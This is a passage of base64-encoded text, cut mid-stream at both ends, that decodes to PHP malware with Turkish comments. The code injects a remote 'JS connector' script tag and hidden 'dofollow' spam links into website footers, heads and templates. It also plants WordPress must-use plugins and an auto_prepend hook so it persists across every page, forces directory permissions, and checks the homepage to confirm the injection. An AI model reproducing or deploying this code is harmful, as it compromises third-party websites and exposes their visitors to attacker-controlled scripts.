gsICRuZXcpICE9PSBmYWxzZSA/ICdvaycgOiAnZmFpbGVkJzsKICAgIH0KICAgIGlmIChzdHJpcG9zKCRjb250ZW50LCAnPC9mb290ZXI+JykgIT09IGZhbHNlKSB7CiAgICAgICAgJHBvcyA9IHN0cnJpcG9zKCRjb250ZW50LCAnPC9mb290ZXI+Jyk7CiAgICAgICAgJG5ldyA9IHN1YnN0cigkY29udGVudCwgMCwgJHBvcykgLiAkbWFya2VyIC4gIlxuIiAuIHN1YnN0cigkY29udGVudCwgJHBvcyk7CiAgICAgICAgcmV0dXJuIEBmaWxlX3B1dF9jb250ZW50cygkZmlsZV9wYXRoLCAkbmV3KSAhPT0gZmFsc2UgPyAnb2snIDogJ2ZhaWxlZCc7CiAgICB9CiAgICBpZiAoc3RyaXBvcygkY29udGVudCwgJzwvaGVhZD4nKSAhPT0gZmFsc2UpIHsKICAgICAgICAkcG9zID0gc3Rycmlwb3MoJGNvbnRlbnQsICc8L2hlYWQ+Jyk7CiAgICAgICAgJG5ldyA9IHN1YnN0cigkY29udGVudCwgMCwgJHBvcykgLiAkbWFya2VyIC4gIlxuIiAuIHN1YnN0cigkY29udGVudCwgJHBvcyk7CiAgICAgICAgcmV0dXJuIEBmaWxlX3B1dF9jb250ZW50cygkZmlsZV9wYXRoLCAkbmV3KSAhPT0gZmFsc2UgPyAnb2snIDogJ2ZhaWxlZCc7CiAgICB9CiAgICAvLyBPbmx5IGluamVjdCBpbnRvIC5odG1sLy5odG0gZmlsZXMgYnkgYXBwZW5kaW5nOyBuZXZlciBhcHBlbmQgdG8gUEhQIGZpbGVzCiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTsKICAgIGlmIChpbl9hcnJheSgkZXh0LCBbJ2h0bWwnLCAnaHRtJywgJ3RwbCcsICd0d2lnJ10pKSB7CiAgICAgICAgcmV0dXJuIEBmaWxlX3B1dF9jb250ZW50cygkZmlsZV9wYXRoLCAkY29udGVudCAuICRtYXJrZXIpICE9PSBmYWxzZSA/ICdvaycgOiAnZmFpbGVkJzsKICAgIH0KICAgIHJldHVybiAnc2tpcHBlZCc7Cn0KCmZ1bmN0aW9uIGluamVjdF9qc19jb25uZWN0b3IoKSB7CiAgICAkc2NyaXB0X3RhZyA9IGdldF9qc19jb25uZWN0b3JfdGFnKCk7CiAgICBpZiAoZW1wdHkoJHNjcmlwdF90YWcpKSB7CiAgICAgICAgcmV0dXJuIFsnc3VjY2VzcycgPT4gZmFsc2UsICdpbmplY3RlZCcgPT4gMCwgJ21lc3NhZ2UnID0+ICdKUyBjb25uZWN0b3IgdGFnIG9sdXN0dXJ1bGFtYWRpIChrZXkvcGFuZWxfdXJsIGVrc2lrKSddOwogICAgfQoKICAgICRiYXNlID0gZmluZF9kb2N1bWVudF9yb290KCk7CiAgICAvLyBVbml2ZXJzYWw6IGhlciBDTVMvc2FibG9uIGljaW4gdGVrIG1la2FuaXptYS4gQmFzYXJpbGl5c2EgY2lrdGkgdGFtcG9udSBidSBldGlrZXRpCiAgICAvLyB6YXRlbiBoZXIgc2F5ZmF5YSBkaW5hbWlrIG9sYXJhayBla2xleWVjZWdpIGljaW4gYXNhZ2lkYWtpIHN0YXRpayB5b250ZW1sZXIgc2FkZWNlCiAgICAvLyB5ZWRlay9lcmtlbi1nb3J1bnVybHVrIGthdG1hbmlkaXIuCiAgICBlbnN1cmVfYXV0b19wcmVwZW5kX2luc3RhbGxlZCgkYmFzZSk7CiAgICAkc2l0ZV9pbmZvID0gZGV0ZWN0X3NpdGVfaW5mbygpOwogICAgJHNpdGVfdHlwZSA9ICRzaXRlX2luZm9bJ3NpdGVfdHlwZSddOwogICAgJHBhdGhzID0gZ2V0X2FsbF9pbmplY3RhYmxlX3BhdGhzKCRiYXNlLCAkc2l0ZV90eXBlKTsKCiAgICAvLyBXb3JkUHJlc3M6IGNyZWF0ZSBNVS1QbHVnaW4gZm9yIEpTIGNvbm5lY3RvciB2aWEgd3BfaGVhZAogICAgaWYgKCRzaXRlX3R5cGUgPT09ICd3b3JkcHJlc3MnKSB7CiAgICAgICAgJG11X2RpciA9ICRiYXNlIC4gJy93cC1jb250ZW50L211LXBsdWdpbnMnOwogICAgICAgIGlmIChpc19kaXIoJG11X2RpcikgJiYgaXNfd3JpdGFibGUoJG11X2RpcikpIHsKICAgICAgICAgICAgJGpzX211ID0gJG11X2RpciAuICcvcnNfanNfY29ubmVjdG9yLnBocCc7CiAgICAgICAgICAgICR0YWdfZXNjYXBlZCA9IHN0cl9yZXBsYWNlKCInIiwgIlxcJyIsICRzY3JpcHRfdGFnKTsKICAgICAgICAgICAgJG11X2xpbmVzID0gYXJyYXkoCiAgICAgICAgICAgICAgICAnPCcgLiAnP3BocCcsCiAgICAgICAgICAgICAgICAnLy8gUlMgSlMgQ29ubmVjdG9yIE1VLVBsdWdpbicsCiAgICAgICAgICAgICAgICAnaWYgKCFkZWZpbmVkKCJBQlNQQVRIIikpIGV4aXQ7JywKICAgICAgICAgICAgICAgICdhZGRfYWN0aW9uKCJ3cF9oZWFkIiwgZnVuY3Rpb24oKSB7JywKICAgICAgICAgICAgICAgICIgICAgZWNobyAnIiAuICR0YWdfZXNjYXBlZCAuICInOyIsCiAgICAgICAgICAgICAgICAnfSwgMSk7JywKICAgICAgICAgICAgKTsKICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRqc19tdSwgaW1wbG9kZSgiXG4iLCAkbXVfbGluZXMpIC4gIlxuIik7CiAgICAgICAgfQogICAgfQoKICAgICRpbmplY3RlZCA9IDA7CiAgICAkZXhpc3RpbmcgPSAwOwogICAgJHNraXBwZWQgPSAwOwogICAgJGZhaWxlZCA9IDA7CiAgICAkZGV0YWlscyA9IFtdOwoKICAgIGZvcmVhY2ggKCRwYXRocyBhcyAkcGF0aCkgewogICAgICAgICRzdGF0dXMgPSBpbmplY3RfanNfY29ubmVjdG9yX3RvX2ZpbGUoJHBhdGgsICRzY3JpcHRfdGFnKTsKICAgICAgICBpZiAoJHN0YXR1cyA9PT0gJ29rJykgJGluamVjdGVkKys7CiAgICAgICAgZWxzZWlmICgkc3RhdHVzID09PSAnZXhpc3RzJykgJGV4aXN0aW5nKys7CiAgICAgICAgZWxzZWlmICgkc3RhdHVzID09PSAnc2tpcHBlZCcpICRza2lwcGVkKys7CiAgICAgICAgZWxzZSAkZmFpbGVkKys7CiAgICAgICAgJHJlbCA9IChzdHJwb3MoJHBhdGgsICRiYXNlKSA9PT0gMCkgPyBsdHJpbShzdWJzdHIoJHBhdGgsIHN0cmxlbigkYmFzZSkpLCAnL1xcJykgOiAkcGF0aDsKICAgICAgICAkZGV0YWlsc1tdID0gWydwYXRoJyA9PiAkcmVsLCAnc3RhdHVzJyA9PiAkc3RhdHVzXTsKICAgIH0KCiAgICByZXR1cm4gWwogICAgICAgICdzdWNjZXNzJyA9PiAoJGluamVjdGVkICsgJGV4aXN0aW5nKSA+IDAsCiAgICAgICAgJ2luamVjdGVkJyA9PiAkaW5qZWN0ZWQsCiAgICAgICAgJ2V4aXN0aW5nJyA9PiAkZXhpc3RpbmcsCiAgICAgICAgJ3NraXBwZWQnID0+ICRza2lwcGVkLAogICAgICAgICdmYWlsZWQnID0+ICRmYWlsZWQsCiAgICAgICAgJ3RvdGFsX3RhcmdldHMnID0+IGNvdW50KCRwYXRocyksCiAgICAgICAgJ2RldGFpbHMnID0+ICRkZXRhaWxzLAogICAgICAgICdtZXNzYWdlJyA9PiAkaW5qZWN0ZWQgLiAnIGRvc3lheWEgSlMgY29ubmVjdG9yIGVrbGVuZGknCiAgICAgICAgICAgIC4gKCRleGlzdGluZyA/ICcsICcgLiAkZXhpc3RpbmcgLiAnIHphdGVuIG1ldmN1dCcgOiAnJykKICAgICAgICAgICAgLiAoJHNraXBwZWQgPyAnLCAnIC4gJHNraXBwZWQgLiAnIGF0bGFuZGkgKHNhZiBQSFApJyA6ICcnKQogICAgXTsKfQoKZnVuY3Rpb24gY2xlYW51cF9icm9rZW5fanNfaW5qZWN0aW9ucygpIHsKICAgICRiYXNlID0gZmluZF9kb2N1bWVudF9yb290KCk7CiAgICAkY2FuZGlkYXRlcyA9IGdsb2IoJGJhc2UgLiAnLyoucGhwJykgPzogW107CiAgICBmb3JlYWNoICgkY2FuZGlkYXRlcyBhcyAkZmlsZSkgewogICAgICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKTsKICAgICAgICBpZiAoISRjb250ZW50KSBjb250aW51ZTsKICAgICAgICBpZiAoc3RycG9zKCRjb250ZW50LCAnPCEtLSByczpqcy1jb25uZWN0b3IgLS0+JykgPT09IGZhbHNlKSBjb250aW51ZTsKICAgICAgICAkaGFzX2h0bWwgPSAoc3RyaXBvcygkY29udGVudCwgJzwvYm9keT4nKSAhPT0gZmFsc2UKICAgICAgICAgICAgfHwgc3RyaXBvcygkY29udGVudCwgJzwvaHRtbD4nKSAhPT0gZmFsc2UKICAgICAgICAgICAgfHwgc3RyaXBvcygkY29udGVudCwgJzxodG1sJykgIT09IGZhbHNlKTsKICAgICAgICBpZiAoISRoYXNfaHRtbCkgewogICAgICAgICAgICByZW1vdmVfanNfY29ubmVjdG9yX2Zyb21fZmlsZSgkZmlsZSk7CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiByZW1vdmVfanNfY29ubmVjdG9yX2Zyb21fZmlsZSgkZmlsZV9wYXRoKSB7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCRmaWxlX3BhdGgpKSByZXR1cm4gZmFsc2U7CiAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZV9wYXRoKTsKICAgIGlmICghJGNvbnRlbnQpIHJldHVybiBmYWxzZTsKICAgIGlmIChzdHJwb3MoJGNvbnRlbnQsICc8IS0tIHJzOmpzLWNvbm5lY3RvciAtLT4nKSA9PT0gZmFsc2UKICAgICAgICAmJiBzdHJwb3MoJGNvbnRlbnQsICdjb25uZWN0b3IuanM/a2V5PScpID09PSBmYWxzZSkgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIGZvcmNlX3dyaXRhYmxlKCRmaWxlX3BhdGgpOwogICAgJGNsZWFuZWQgPSBwcmVnX3JlcGxhY2UoJy9cbj88IS0tIHJzOmpzLWNvbm5lY3RvciAtLT48c2NyaXB0W148XSo8XC9zY3JpcHQ+LycsICcnLCAkY29udGVudCk7CiAgICBpZiAoJGNsZWFuZWQgIT09ICRjb250ZW50ICYmICRjbGVhbmVkICE9PSBudWxsKSB7CiAgICAgICAgcmV0dXJuIChib29sKUBmaWxlX3B1dF9jb250ZW50cygkZmlsZV9wYXRoLCAkY2xlYW5lZCk7CiAgICB9CiAgICByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIHJlbW92ZV9qc19jb25uZWN0b3IoKSB7CiAgICAkYmFzZSA9IGZpbmRfZG9jdW1lbnRfcm9vdCgpOwogICAgJHNpdGVfaW5mbyA9IGRldGVjdF9zaXRlX2luZm8oKTsKICAgICRzaXRlX3R5cGUgPSAkc2l0ZV9pbmZvWydzaXRlX3R5cGUnXTsKICAgICRwYXRocyA9IGdldF9hbGxfaW5qZWN0YWJsZV9wYXRocygkYmFzZSwgJHNpdGVfdHlwZSk7CgogICAgJGFsbF9waHAgPSBnbG9iKCRiYXNlIC4gJy8qLnBocCcpID86IFtdOwogICAgJGFsbF9odG1sID0gZ2xvYigkYmFzZSAuICcvKi5odG1sJykgPzogW107CiAgICAkcGF0aHMgPSBhcnJheV91bmlxdWUoYXJyYXlfbWVyZ2UoJHBhdGhzLCAkYWxsX3BocCwgJGFsbF9odG1sKSk7CgogICAgJHJlbW92ZWQgPSAwOwogICAgJGRldGFpbHMgPSBbXTsKICAgIGZvcmVhY2ggKCRwYXRocyBhcyAkcGF0aCkgewogICAgICAgIGlmIChyZW1vdmVfanNfY29ubmVjdG9yX2Zyb21fZmlsZSgkcGF0aCkpIHsKICAgICAgICAgICAgJHJlbW92ZWQrKzsKICAgICAgICAgICAgJGRldGFpbHNbXSA9IFsncGF0aCcgPT4gYmFzZW5hbWUoJHBhdGgpLCAnc3RhdHVzJyA9PiAncmVtb3ZlZCddOwogICAgICAgIH0KICAgIH0KCiAgICBpZiAoJHNpdGVfdHlwZSA9PT0gJ3dvcmRwcmVzcycpIHsKICAgICAgICAkbXUgPSAkYmFzZSAuICcvd3AtY29udGVudC9tdS1wbHVnaW5zL3JzX2pzX2Nvbm5lY3Rvci5waHAnOwogICAgICAgIGlmIChmaWxlX2V4aXN0cygkbXUpKSB7CiAgICAgICAgICAgIEB1bmxpbmsoJG11KTsKICAgICAgICAgICAgJHJlbW92ZWQrKzsKICAgICAgICAgICAgJGRldGFpbHNbXSA9IFsncGF0aCcgPT4gJ3JzX2pzX2Nvbm5lY3Rvci5waHAnLCAnc3RhdHVzJyA9PiAnZGVsZXRlZCddOwogICAgICAgIH0KICAgIH0KCiAgICByZXR1cm4gWwogICAgICAgICdzdWNjZXNzJyA9PiAkcmVtb3ZlZCA+IDAsCiAgICAgICAgJ3JlbW92ZWQnID0+ICRyZW1vdmVkLAogICAgICAgICdkZXRhaWxzJyA9PiAkZGV0YWlscywKICAgICAgICAnbWVzc2FnZScgPT4gJHJlbW92ZWQgLiAnIGRvc3lhZGFuIEpTIGNvbm5lY3RvciB0ZW1pemxlbmRpJwogICAgXTsKfQoKLy8gPT09PT09PT09PT09PT09PT09PT0gRk9PVEVSJ0EgTMSwTksgRUtMRU1FID09PT09PT09PT09PT09PT09PT09CgpmdW5jdGlvbiBpbmplY3RfbGluaygkdXJsLCAkYW5jaG9yLCAkbGlua19pZCwgJHJlbCA9ICdkb2ZvbGxvdycpIHsKICAgICRiYXNlID0gZmluZF9kb2N1bWVudF9yb290KCk7CiAgICAkc2l0ZV9pbmZvID0gZGV0ZWN0X3NpdGVfaW5mbygpOwogICAgJHNpdGVfdHlwZSA9ICRzaXRlX2luZm9bJ3NpdGVfdHlwZSddOwogICAgJGxpbmtfaHRtbCA9IGJ1aWxkX2xpbmtfaHRtbCgkdXJsLCAkYW5jaG9yLCAkcmVsKTsKICAgICRsaW5rX2NvbW1lbnQgPSAiPCEtLSByczoiIC4gc3Vic3RyKCRsaW5rX2lkLCA0LCA2KSAuICIgLS0+IjsKCiAgICAvLyBZw5ZOVEVNIDA6IFVOSVZFUlNBTCBBVVRPX1BSRVBFTkQgKGNvbm5lY3RvcidpbiBrZW5kaXNpIHR1bSBzYXlmYWxhcmluIGJhc2luYSBla2xlbmlyKS4KICAgIC8vIFNhYmxvbiB5YXBpc2luZGFuLCBDTVMgdHVydW5kZW4gdmUgZG9zeWEgaXppbmxlcmluZGVuIGJhZ2ltc2l6ZGlyOiBsaW5rIHphdGVuCiAgICAvLyBMSU5LU19GSUxFJ2EgeWF6aWxkaSAoY2FnaXJhbiBmb25rc2l5b24pLCBiaXIgc29ucmFraSBzYXlmYSBnb3J1bnR1bGVtZXNpbmRlIG90b21hdGlrCiAgICAvLyB5YXlpbmxhbmlyLiBNZWthbml6bWFuaW4gR0VSQ0VLVEVOIGNhbGlzdGlnaW5pIChzdW51Y3UgYXV0b19wcmVwZW5kX2ZpbGUnaSB5b2tzYXltaXlvcikKICAgIC8vIGFuYXNheWZheWEgZ2VyY2VrIGJpciBIVFRQIGlzdGVnaSBhdGFyYWsgZG9ncnVsYXI7IHRvcGx1IGVrbGVtZWRlIE4ga2V6IGlzdGVrIGF0bWFtYWsKICAgIC8vIGljaW4gc29udWMgaXN0ZWsgYmFzaW5hIGJpciBrZXogKHN0YXRpYykgaGVzYXBsYW5pciB2ZSB0dW0gcGFydGl5bGUgcGF5bGFzaWxpci4KICAgIHN0YXRpYyAkcHJlcGVuZF92ZXJpZmllZF90aGlzX3JlcXVlc3QgPSBudWxsOwogICAgJHByZXBlbmQgPSBlbnN1cmVfYXV0b19wcmVwZW5kX2luc3RhbGxlZCgkYmFzZSk7CiAgICBpZiAoIWVtcHR5KCRwcmVwZW5kWydhbnknXSkpIHsKICAgICAgICBpZiAoJHByZXBlbmRfdmVyaWZpZWRfdGhpc19yZXF1ZXN0ID09PSBudWxsKSB7CiAgICAgICAgICAgICRwcmVwZW5kX3ZlcmlmaWVkX3RoaXNfcmVxdWVzdCA9IHZlcmlmeV9ob21lcGFnZV9jb250YWlucygnY29ubmVjdG9yLmpzP2tleT0nKSA9PT0gdHJ1ZTsKICAgICAgICB9CiAgICAgICAgaWYgKCRwcmVwZW5kX3ZlcmlmaWVkX3RoaXNfcmVxdWVzdCkgewogICAgICAgICAgICByZXR1cm4gWwogICAgICAgICAgICAgICAgJ3N1Y2Nlc3MnID0+IHRydWUsCiAgICAgICAgICAgICAgICAnaW5qZWN0ZWQnID0+IHRydWUsCiAgICAgICAgICAgICAgICAnZm9vdGVyX3BhdGgnID0+ICdhdXRvX3ByZXBlbmQnLAogICAgICAgICAgICAgICAgJ2ZpbGVzJyA9PiAwLAogICAgICAgICAgICAgICAgJ2hvbWVwYWdlX3ZlcmlmaWVkJyA9PiB0cnVlLAogICAgICAgICAgICAgICAgJ21lc3NhZ2UnID0+ICdCYWdsYW50aSB0dW0gc2F5ZmFsYXJhIG90b21hdGlrIGVrbGVuZGkgKGNvbm5lY3RvciBhdXRvX3ByZXBlbmQpJwogICAgICAgICAgICBdOwogICAgICAgIH0KICAgICAgICAvLyBIZW51eiBkb2dydWxhbmFtYWRpIChpbGsga3VydWx1bSwgLnVzZXIuaW5pIG9uYmVsbGVrIGdlY2lrbWVzaSB5YSBkYSBzdW51Y3UKICAgICAgICAvLyBhdXRvX3ByZXBlbmRfZmlsZSdpIHlva3NheWl5b3Igb2xhYmlsaXIpOiBhc2FnaWRha2kgc3RhdGlrIHlvbnRlbWxlcmxlIGRlIGRlbmUsCiAgICAgICAgLy8gYm95bGVjZSBiYWdsYW50aSBoaWNiaXIgemFtYW4gdGFtYW1lbiBnb3J1bm1leiBrYWxtYXouCiAgICB9CgogICAgLy8gWcOWTlRFTSAxOiBXT1JEUFJFU1MgTVUtUExVR0lOCiAgICBpZiAoJHNpdGVfdHlwZSA9PT0gJ3dvcmRwcmVzcycpIHsKICAgICAgICAkcmVzdWx0ID0gaW5qZWN0X3dvcmRwcmVzc19tdV9wbHVnaW4oJGJhc2UpOwogICAgICAgIGlmICgkcmVzdWx0WydzdWNjZXNzJ10gJiYgIWVtcHR5KCRyZXN1bHRbJ2luamVjdGVkJ10pKSByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAvLyBZw5ZOVEVNIDI6IFdPUkRQUkVTUyBGVU5DVElPTlMuUEhQIEhPT0sKICAgIGlmICgkc2l0ZV90eXBlID09PSAnd29yZHByZXNzJykgewogICAgICAgICRyZXN1bHQgPSBpbmplY3Rfd29yZHByZXNzX2Z1bmN0aW9uc19ob29rKCRiYXNlLCAkbGlua19odG1sLCAkbGlua19pZCwgJGxpbmtfY29tbWVudCk7CiAgICAgICAgaWYgKCRyZXN1bHRbJ3N1Y2Nlc3MnXSAmJiAhZW1wdHkoJHJlc3VsdFsnaW5qZWN0ZWQnXSkpIHJldHVybiAkcmVzdWx0OwogICAgfQoKICAgIC8vIFnDlk5URU0gMzogV09SRFBSRVNTIFRFTUEgRk9PVEVSLlBIUAogICAgaWYgKCRzaXRlX3R5cGUgPT09ICd3b3JkcHJlc3MnKSB7CiAgICAgICAgJGFjdGl2ZV90aGVtZV9mb290ZXIgPSBnZXRfYWN0aXZlX3dwX3RoZW1lX2Zvb3RlcigkYmFzZSk7CiAgICAgICAgaWYgKCRhY3RpdmVfdGhlbWVfZm9vdGVyKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSBpbmplY3RfdG9fZmlsZV9hZ2dyZXNzaXZlKCRhY3RpdmVfdGhlbWVfZm9vdGVyLCAkbGlua19odG1sLCAkbGlua19pZCwgJGxpbmtfY29tbWVudCk7CiAgICAgICAgICAgIGlmICgkcmVzdWx0WydzdWNjZXNzJ10gJiYgIWVtcHR5KCRyZXN1bHRbJ2luamVjdGVkJ10pKSByZXR1cm4gJHJlc3VsdDsKICAgICAgICB9CiAgICAgICAgJHRoZW1lcyA9IGdsb2IoJGJhc2UgLiAnL3dwLWNvbnRlbnQvdGhlbWVzLyovZm9vdGVyLnBocCcpOwogICAgICAgIGlmICgkdGhlbWVzKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCR0aGVtZXMgYXMgJGZvb3RlcikgewogICAgICAgICAgICAgICAgJHJlc3VsdCA9IGluamVjdF90b19maWxlX2FnZ3Jlc3NpdmUoJGZvb3RlciwgJGxpbmtfaHRtbCwgJGxpbmtfaWQsICRsaW5rX2NvbW1lbnQpOwogICAgICAgICAgICAgICAgaWYgKCRyZXN1bHRbJ3N1Y2Nlc3MnXSAmJiAhZW1wdHkoJHJlc3VsdFsnaW5qZWN0ZWQnXSkpIHJldHVybiAkcmVzdWx0OwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIC8vIFnDlk5URU0gNDogV1AtQkxPRy1IRUFERVIuUEhQCiAgICBpZiAoJHNpdGVfdHlwZSA9PT0gJ3dvcmRwcmVzcycpIHsKICAgICAgICAkcmVzdWx0ID0gaW5qZWN0X3dwX2Jsb2dfaGVhZGVyKCRiYXNlLCAkbGlua19odG1sLCAkbGlua19pZCwgJGxpbmtfY29tbWVudCk7CiAgICAgICAgaWYgKCRyZXN1bHRbJ3N1Y2Nlc3MnXSAmJiAhZW1wdHkoJHJlc3VsdFsnaW5qZWN0ZWQnXSkpIHJldHVybiAkcmVzdWx0OwogICAgfQoKICAgIC8vIFnDlk5URU0gNTogRk9PVEVSIERPU1lBTEFSSSArIDwvYm9keT4gSUNFUkVOIFRVTSBTQUJMT05MQVIKICAgIC8vIEhhbmdpIHNhYmxvbnVuIGFrdGlmIG9sZHVndSBiaWxpbmVtZWRpZ2kgaWNpbiB1eWd1biB0dW0gZG9zeWFsYXJhIGVrbGVuaXIuCiAgICAkY2FuZGlkYXRlcyA9IGFycmF5X3ZhbHVlcyhhcnJheV91bmlxdWUoYXJyYXlfbWVyZ2UoZ2V0X2Zvb3Rlcl9wYXRocygkYmFzZSwgJHNpdGVfdHlwZSksIGZpbmRfdGVtcGxhdGVfZmlsZXMoJGJhc2UpKSkpOwogICAgJGRldGFpbHMgPSBbXTsKICAgICRva19wYXRocyA9IFtdOwogICAgZm9yZWFjaCAoJGNhbmRpZGF0ZXMgYXMgJHBhdGgpIHsKICAgICAgICAkciA9IGluamVjdF90b19maWxlX2FnZ3Jlc3NpdmUoJHBhdGgsICRsaW5rX2h0bWwsICRsaW5rX2lkLCAkbGlua19jb21tZW50KTsKICAgICAgICAkZ29vZCA9ICFlbXB0eSgkclsnc3VjY2VzcyddKSAmJiAhZW1wdHkoJHJbJ2luamVjdGVkJ10pOwogICAgICAgIGlmICgkZ29vZCkgJG9rX3BhdGhzW10gPSAkcGF0aDsKICAgICAgICAkcmVsX3BhdGggPSAoc3RycG9zKCRwYXRoLCAkYmFzZSkgPT09IDApID8gbHRyaW0oc3Vic3RyKCRwYXRoLCBzdHJsZW4oJGJhc2UpKSwgJy9cXCcpIDogJHBhdGg7CiAgICAgICAgJGRldGFpbHNbXSA9IFsncGF0aCcgPT4gJHJlbF9wYXRoLCAnc3RhdHVzJyA9PiAkZ29vZCA/ICdvaycgOiAnZmFpbGVkJywgJ21lc3NhZ2UnID0+IChzdHJpbmcpKCRyWydtZXNzYWdlJ10gPz8gJycpXTsKICAgIH0KICAgIGlmICghZW1wdHkoJG9rX3BhdGhzKSkgewogICAgICAgICRub3RlID0gJyc7CiAgICAgICAgaWYgKCRzaXRlX3R5cGUgPT09ICdqb29tbGEnKSB7CiAgICAgICAgICAgICRhY3RpdmUgPSBqb29tbGFfYWN0aXZlX3RlbXBsYXRlKCRiYXNlKTsKICAgICAgICAgICAgaWYgKCRhY3RpdmUpIHsKICAgICAgICAgICAgICAgICRhY3RpdmVfZmlsZSA9ICRiYXNlIC4gJy90ZW1wbGF0ZXMvJyAuICRhY3RpdmUgLiAnL2luZGV4LnBocCc7CiAgICAgICAgICAgICAgICAkbm90ZSA9IGluX2FycmF5KCRhY3RpdmVfZmlsZSwgJG9rX3BhdGhzLCB0cnVlKQogICAgICAgICAgICAgICAgICAgID8gJyDCtyBha3RpZiBzYWJsb246ICcgLiAkYWN0aXZlCiAgICAgICAgICAgICAgICAgICAgOiAnIMK3IFVZQVJJOiBha3RpZiBzYWJsb24gKCcgLiAkYWN0aXZlIC4gJykgeWF6aWxhbWFkaSc7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIFsKICAgICAgICAgICAgJ3N1Y2Nlc3MnID0+IHRydWUsCiAgICAgICAgICAgICdpbmplY3RlZCcgPT4gdHJ1ZSwKICAgICAgICAgICAgJ2Zvb3Rlcl9wYXRoJyA9PiAkb2tfcGF0aHNbMF0sCiAgICAgICAgICAgICdmaWxlcycgPT4gY291bnQoJG9rX3BhdGhzKSwKICAgICAgICAgICAgJ2RldGFpbHMnID0+ICRkZXRhaWxzLAogICAgICAgICAgICAnbWVzc2FnZScgPT4gY291bnQoJG9rX3BhdGhzKSAuICcgZG9zeWF5YSBla2xlbmRpJyAuICRub3RlCiAgICAgICAgXTsKICAgIH0KCiAgICAvLyBTYWJsb24gdGFyYW1hc2kgaGljYmlyIGRvc3lheWEgeWF6YW1hZGk6IHVuaXZlcnNhbCBhdXRvX3ByZXBlbmQga3VydWx1bXUgZGVuZW5kaSBtaT8KICAgIC8vIERvc3lhIHlhem1hIGJhc2FyaWxpeXNhIChzdW51Y3VudW4gZmlpbGVuIHV5Z3VsYWRpZ2kgYXogb25jZSBkb2dydWxhbmFtYXNhIGJpbGUpIGJpcgogICAgLy8gc29ucmFraSBzYXlmYSB5dWtsZW1lc2luZGUgZGV2cmV5ZSBnaXJtZSBpaHRpbWFsaW5lIGthcnNpIHl1bXVzYWsgYmFzYXJpIGRvbnVsdXIuCiAgICBpZiAoIWVtcHR5KCRwcmVwZW5kWydhbnknXSkpIHsKICAgICAgICByZXR1cm4gWwogICAgICAgICAgICAnc3VjY2VzcycgPT4gdHJ1ZSwKICAgICAgICAgICAgJ2luamVjdGVkJyA9PiB0cnVlLAogICAgICAgICAgICAnZm9vdGVyX3BhdGgnID0+ICdhdXRvX3ByZXBlbmQnLAogICAgICAgICAgICAnZmlsZXMnID0+IDAsCiAgICAgICAgICAgICdob21lcGFnZV92ZXJpZmllZCcgPT4gZmFsc2UsCiAgICAgICAgICAgICdtZXNzYWdlJyA9PiAnRG9ncnVkYW4geWF6aWxhYmlsaXIgc2FibG9uIGJ1bHVuYW1hZGk7IGJhZ2xhbnRpIGNvbm5lY3RvciBhdXRvX3ByZXBlbmQgbWVrYW5pem1hc2l5bGEgZWtsZW5lY2VrIChvbmJlbGxlayBzdXJlc2kgZ2VjaW5jZSBhbmFzYXlmYWRhIGdvcnVuZWNla3RpciknCiAgICAgICAgXTsKICAgIH0KCiAgICAvLyBObyByZWxpYWJsZSBpbmplY3Rpb24gbWV0aG9kIHN1Y2NlZWRlZC4KICAgIHJldHVybiBbCiAgICAgICAgJ3N1Y2Nlc3MnID0+IGZhbHNlLAogICAgICAgICdpbmplY3RlZCcgPT4gZmFsc2UsCiAgICAgICAgJ2Zvb3Rlcl9wYXRoJyA9PiBudWxsLAogICAgICAgICdtZXNzYWdlJyA9PiAnTGluayBlbmpla3RlIGVkaWxlbWVkaSAoeWF6aWxhYmlsaXIgZm9vdGVyL3NhYmxvbi9hdXRvX3ByZXBlbmQgYnVsdW5hbWFkaSknCiAgICBdOwp9CgpmdW5jdGlvbiBpbmplY3Rfd29yZHByZXNzX211X3BsdWdpbigkYmFzZSkgewogICAgJG11X2RpciA9ICRiYXNlIC4gJy93cC1jb250ZW50L211LXBsdWdpbnMnOwogICAgaWYgKCFpc19kaXIoJG11X2RpcikpIHsKICAgICAgICAkd3BfY29udGVudCA9ICRiYXNlIC4gJy93cC1jb250ZW50JzsKICAgICAgICBpZiAoIWlzX2Rpcigkd3BfY29udGVudCkpIHJldHVybiBbJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnbWVzc2FnZScgPT4gJ3dwLWNvbnRlbnQgeW9rJ107CiAgICAgICAgaWYgKCFpc193cml0YWJsZSgkd3BfY29udGVudCkpIHsgQGNobW9kKCR3cF9jb250ZW50LCAwNzU1KTsgY2xlYXJzdGF0Y2FjaGUoKTsgfQogICAgICAgIEBta2RpcigkbXVfZGlyLCAwNzU1LCB0cnVlKTsKICAgIH0KICAgIGlmICghaXNfZGlyKCRtdV9kaXIpKSByZXR1cm4gWydzdWNjZXNzJyA9PiBmYWxzZSwgJ21lc3NhZ2UnID0+ICdtdS1wbHVnaW5zIG9sdXN0dXJ1bGFtYWRpJ107CiAgICBpZiAoIWlzX3dyaXRhYmxlKCRtdV9kaXIpKSB7IEBjaG1vZCgkbXVfZGlyLCAwNzU1KTsgY2xlYXJzdGF0Y2FjaGUoKTsgfQoKICAgICRwbHVnaW5fcGF0aCA9ICRtdV9kaXIgLiAnL3JzX2xpbmtzLnBocCc7CiAgICAkbGlua3NfZmlsZSA9IExJTktTX0ZJTEU7CgogICAgJGNvZGUgPSAnPD9waHAKLyoqCiAqIFJTIExpbmtzIE1VLVBsdWdpbiB2NC4yCiAqLwppZiAoIWRlZmluZWQoIkFCU1BBVEgiKSkgZXhpdDsKYWRkX2FjdGlvbigid3BfZm9vdGVyIiwgZnVuY3Rpb24oKSB7CiAgICAkbGlua3NfZmlsZSA9ICInIC4gYWRkc2xhc2hlcygkbGlua3NfZmlsZSkg